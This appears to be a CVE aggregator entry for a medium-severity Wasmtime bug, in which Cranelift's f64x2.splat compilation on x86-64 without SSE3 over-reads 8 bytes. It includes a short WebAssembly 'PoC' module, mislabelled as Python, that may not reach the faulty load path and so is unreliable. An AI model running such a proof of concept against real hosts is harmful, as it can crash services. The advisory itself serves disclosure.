CVE-2026-34944

Description

Wasmtime is a runtime for WebAssembly. Prior to 24.0.7, 36.0.7, 42.0.2, and 43.0.1, On x86-64 platforms with SSE3 disabled Wasmtime's compilation of the f64x2.splat WebAssembly instruction with Cranelift may load 8 more bytes than is necessary. When signals-based-traps are disabled this can result in a uncaught segfault due to loading from unmapped guard pages. With guard pages disabled it's possible for out-of-sandbox data to be loaded, but this data is not visible to WebAssembly guests. This vulnerability is fixed in 24.0.7, 36.0.7, 42.0.2, and 43.0.1.

CVSS Details

CVSS Score

5.7

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:bytecodealliance:wasmtime:*:*:*:*:*:rust:*:* - VULNERABLE

Wasmtime < 24.0.7

24.0.0 <= Wasmtime < 36.0.7

36.0.0 <= Wasmtime < 42.0.2

42.0.0 <= Wasmtime < 43.0.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

(module
  ;; PoC for CVE-2026-34944
  ;; This module targets the f64x2.splat compilation issue in Cranelift.
  ;; Must be run on a vulnerable Wasmtime version on x86-64 with SSE3 disabled.

  (memory $0 1)
  (export "memory" (memory $0))

  (func (export "vuln_func") (result v128)
    ;; The f64x2.splat instruction triggers the incorrect code generation
    ;; leading to an 8-byte out-of-bounds read.
    f64.const 3.14
    f64x2.splat
  )
)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-34944
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-34944
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-34944/
[4] VulDB https://vuldb.com/cve/CVE-2026-34944
[5] https://github.com/bytecodealliance/wasmtime/security/advisories/GHSA-qqfj-4vcm-26hv

Raw JSON Data

JSON

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